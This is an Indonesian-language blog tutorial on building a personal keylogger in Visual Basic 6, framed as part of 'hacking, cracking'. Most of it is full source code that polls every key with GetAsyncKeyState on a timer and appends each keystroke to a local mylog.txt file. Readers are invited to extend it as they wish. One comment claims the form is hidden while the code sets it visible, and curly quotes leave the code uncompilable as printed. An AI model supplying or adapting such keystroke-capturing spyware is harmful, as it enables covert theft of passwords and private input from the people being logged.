Membuat Keylogger Pribadi dengan Visual Basic 6

{[['

']]}

Membuat Keylogger Pribadi dengan Visual Basic 6 - Sebagaimana kita tau, keylogger merupakan software pengintai apa yang kita ketikkan di keyboard komputer kita. dalam dunia hacking, cracking pokoknya keylogger sendiri uda gak asing banget di telinga kita.

untuk itu dalam tutorial kali ini saya akan membahas bagaimana sih membuat sebuah aplikasi pendeteksi inputan keyboard komputer dengan Visual Basic 6.

di luaran sana banyak banget aplikasi keylogger yang sudah tersedia dan siap pakai, tapi kenapa kita gak membuatnya sendiri? kita bisa mengembangkan sendiri keylogger tersebut sesuai mau kita

oke langsung aja saya beritahu tutorialnya

hal yang pertama kita lakukan adalah buka Visual Basic 6 nya, kemudian buatlah sebuah project Standard.exe

setelah itu tambahkan sebuah form dan sebuah timer dengan nama Timer1 yang intervalnya 1 . hingga hasilnya seperti ini :

Setelah itu tambahkan listing code di bawah ini ke dalam form :

Setelah itu tambahkan listing code di bawah ini ke dalam form :

‘A. Fungsi API untuk mendapatkan Status Tombol di Keyboard

Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer

‘B. Membuat Variabel Baru

Private Type TList
kode As Integer
bawah As String
atas As String
End Type

‘C. Membuat Array untuk Tombol

Private List(1 To 255) As TList
Private IndexList As Integer

‘D. Memasukan Key ke TABEL

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
IndexList = IndexList + 1
List(IndexList).kode = kode
List(IndexList).atas = atas
List(IndexList).bawah = bawah
End Sub

‘E. Membuat Tabel

Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
AddToTable i, Chr(i), Chr(i + 32)
Next i
AddToTable 48, “)”, “0″
AddToTable 49, “!”, “1″
AddToTable 50, “@”, “2″
AddToTable 51, “#”, “3″
AddToTable 52, “$”, “4″
AddToTable 53, “%”, “5″
AddToTable 54, “^”, “6″
AddToTable 55, “&”, “7″
AddToTable 56, “*”, “8″
AddToTable 57, “(“, “9″
AddToTable &H60, “”, “0″
AddToTable &H61, “”, “1″
AddToTable &H62, “”, “2″
AddToTable &H63, “”, “3″
AddToTable &H64, “”, “4″
AddToTable &H65, “”, “5″
AddToTable &H66, “”, “6″
AddToTable &H67, “”, “7″
AddToTable &H68, “”, “8″
AddToTable &H69, “”, “9″
AddToTable Asc(” “), ” “, ” ”

End Sub

‘F. Mmanggil prosedur & Menghilangkan Form

Private Sub Form_Load()
Me.Visible = True
Build_Table
End Sub

‘G. Mencatat Ke File TXT

Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long

If (Dir(App.Path & “\mylog.txt”) <> “”) Then
FileHandler = FreeFile
Open App.Path & “\mylog.txt” For Input As #FileHandler
Data = Input(LOF(FileHandler) – 2, #FileHandler)
Close #FileHandler
End If

FileHandler = FreeFile
Open App.Path & “\mylog.txt” For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub

‘H. Memeriksa Ketikan Per Detik

Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
If (b = -32768) Then
AddToFile List(i).atas
Else
AddToFile List(i).bawah
End If
Exit For
End If
Next
End Sub

simpan project keylogger tadi ke dalam satu folder dan tambahkan sebuah file txt dengan nama mylog. setelah itu jalankan

untuk mencobanya anda ketikkan apa saja di keyboard, lalu anda buka file mylog.txt di dalam folder project keylogger tadi. maka anda akan melihat apa yang sudah anda ketikkan tadi.